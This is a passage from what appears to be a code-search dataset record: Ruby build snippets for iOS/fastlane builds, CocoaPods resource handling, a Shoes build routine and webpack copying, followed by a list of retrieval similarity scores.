'ios/.build_logs',\n configuration: build_configuration,\n output_directory: 'ios',\n xcargs: [\n \"PODS_CONFIGURATION_BUILD_DIR=#{cache_dir}\",\n \"FRAMEWORK_SEARCH_PATHS='#{cache_dir} $(inherited)'\",\n \"LIBRARY_SEARCH_PATHS='#{cache_dir} $(inherited)'\",\n \"SWIFT_INCLUDE_PATHS=#{cache_dir}\"\n ].join(' ')\n )\n\n else\n\n # full build\n puts 'performing full build (no derived data cache)'\n\n build_app(\n silent: false,\n export_method: adhoc ? 'ad-hoc' : 'app-store',\n suppress_xcode_output: true,\n include_symbols: true,\n include_bitcode: true,\n buildlog_path: 'ios/.build_logs',\n workspace: \"ios/#{ENV['MAIN_WORKSPACE']}\",\n derived_data_path: ios_derived_data_path,\n configuration: build_configuration,\n output_directory: 'ios'\n )\n\n # remove misc artifacts to reduce cache size\n require 'fileutils'\n dirs = [\n File.expand_path(\"#{ios_derived_data_path}/info.plist\"),\n File.expand_path(\"#{ios_derived_data_path}/Logs\"),\n File.expand_path(\"#{ios_derived_data_path}/SourcePackages\"),\n File.expand_path(\"#{ios_derived_data_path}/ModuleCache.noindex\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/IntermediateBuildFilesPath/#{scheme}.build\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/IntermediateBuildFilesPath/XCBuildData\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/BuildProductsPath/SwiftSupport\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/PrecompiledHeaders\")\n ]\n dirs.each { |dir| FileUtils.rm_rf(dir) }\n end\n end\nend", "def include_resources(options={})\n options[:sub_dir] ||= 'resources'\n options[:localization] ||= 'en'\n excluded_files = options[:exclude] || []\n resource_group = target.project.pod_group(@pod_name)\n .groups\n .find{|g| g.display_name == \"Resources\"}\n resource_files = []\n if resource_group\n resource_files = resource_group.files\n .reject{|f| excluded_files.include?(f.display_name)}\n end\n if copy_files?(options)\n copy_resources = create_new_copy_files_build_phase(File.join(dst_path, options[:sub_dir]))\n end\n resource_files.each do |resource|\n if write_xml?(options)\n res_path = File.join(destination, options[:sub_dir], resource.display_name)\n if resource.display_name.end_with?('.lproj')\n if resource.display_name == \"#{options[:localization]}.lproj\"\n resource.real_path.each_child do |localization_file|\n localization_path = File.join(res_path, File.basename(localization_file))\n ios_xml_element.add_element(pod_element('resource-file',\n {'src' => localization_path}))\n end\n end\n else\n ios_xml_element.add_element(pod_element('resource-file', {'src' => res_path}))\n end\n end\n if copy_files?(options)\n copy_resources.add_file_reference(resource)\n end\n end\n end", "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "def common_build\n puts \"common_build dir=#{pwd} #{SHOES_TGT_ARCH}\"\n #mkdir_p \"#{TGT_DIR}/ruby\"\n #cp_r \"#{EXT_RUBY}/lib/ruby/#{RUBY_V}\", \"#{TGT_DIR}/ruby/lib\"\n %w[req/ftsearch/lib/* req/rake/lib/*].each do |rdir|\n FileList[rdir].each { |rlib| cp_r rlib, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}\" }\n end\n %w[req/ftsearch/ext/ftsearchrt req/chipmunk/ext/chipmunk].\n #%w[req/binject/ext/binject_c req/ftsearch/ext/ftsearchrt req/bloopsaphone/ext/bloops req/chipmunk/ext/chipmunk].\n each { |xdir| copy_ext xdir, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}/#{SHOES_TGT_ARCH}\" }\n\n gdir = \"#{TGT_DIR}/lib/ruby/gems/#{RUBY_V}\"\n {'hpricot' => 'lib', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n #{'hpricot' => 'lib', 'json' => 'lib/json/ext', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n spec = eval(File.read(\"req/#{gemn}/gemspec\"))\n mkdir_p \"#{gdir}/specifications\"\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/lib\"\n FileList[\"req/#{gemn}/lib/*\"].each { |rlib| cp_r rlib, \"#{gdir}/gems/#{spec.full_name}/lib\" }\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/#{xdir}\"\n FileList[\"req/#{gemn}/ext/*\"].each { |elib| copy_ext elib, \"#{gdir}/gems/#{spec.full_name}/#{xdir}\" }\n cp \"req/#{gemn}/gemspec\", \"#{gdir}/specifications/#{spec.full_name}.gemspec\"\n end\n end", "def install_pod\n %i(validate_targets generate_pods_project integrate_user_project\n perform_post_install_actions).each { |m| @installer.send(m) }\n\n deployment_target = spec.subspec_by_name(subspec_name).deployment_target(consumer.platform_name)\n configure_pod_targets(@installer.target_installation_results)\n validate_dynamic_framework_support(@installer.aggregate_targets, deployment_target)\n @installer.pods_project.save\n end", "def copy_source\n directory('webpack', self.target_path, {\n recursive: true\n })\n end" ]
[ "0.7226446", "0.6934137", "0.6832498", "0.6476361", "0.64477134", "0.63966286", "0.6256283", "0.620393", "0.61002606", "0.6098845", "0.60831237", "0.60745466", "0.60294366", "0.60056895", "0.60056895", "0.6001569", "0.5983567", "0.5962374", "0.5947271", "0.5947271", "0.5939586", "0.5939586", "0.59348375", "0.5888781", "0.5872746", "0.5870484", "0.58432275", "0.58363885", "0.5830474", "0.5815729", "0.57906044", "0.5788318", "0.5784236", "0.5783855", "0.57734257", "0.5769497", "0.5763903", "0.5730106", "0.5722385", "0.5717864", "0.5716609", "0.5700432", "0.5691113", "0.56816477", "0.5681009", "0.56749225", "0.56743413", "0.5671834", "0.5662228", "0.56451267", "0.5635887", "0.56261516", "0.56258005", "0.56217086", "0.5618222", "0.5617366", "0.56009114", "0.55817133", "0.5580256", "0.5575997", "0.55756426", "0.5561032", "0.5558745", "0.55524975", "0.555128", "0.5536371", "0.5516585", "0.55102617", "0.5507192", "0.5504127", "0.5503822", "0.54851365", "0.54712796", "0.5469367", "0.54663014", "0.5464571", "0.54565", "0.5451365", "0.54336715", "0.5430904", "0.5427055", "0.5420107", "0.5411751", "0.5410227", "0.5400128", "0.53972024", "0.5396803", "0.53899974", "0.5382671", "0.53814393", "0.5381161", "0.5376692", "0.53685665", "0.53666997", "0.53639954", "0.53544325", "0.5353756", "0.53529394", "0.53431433", "0.5340586" ]
0.64469993
5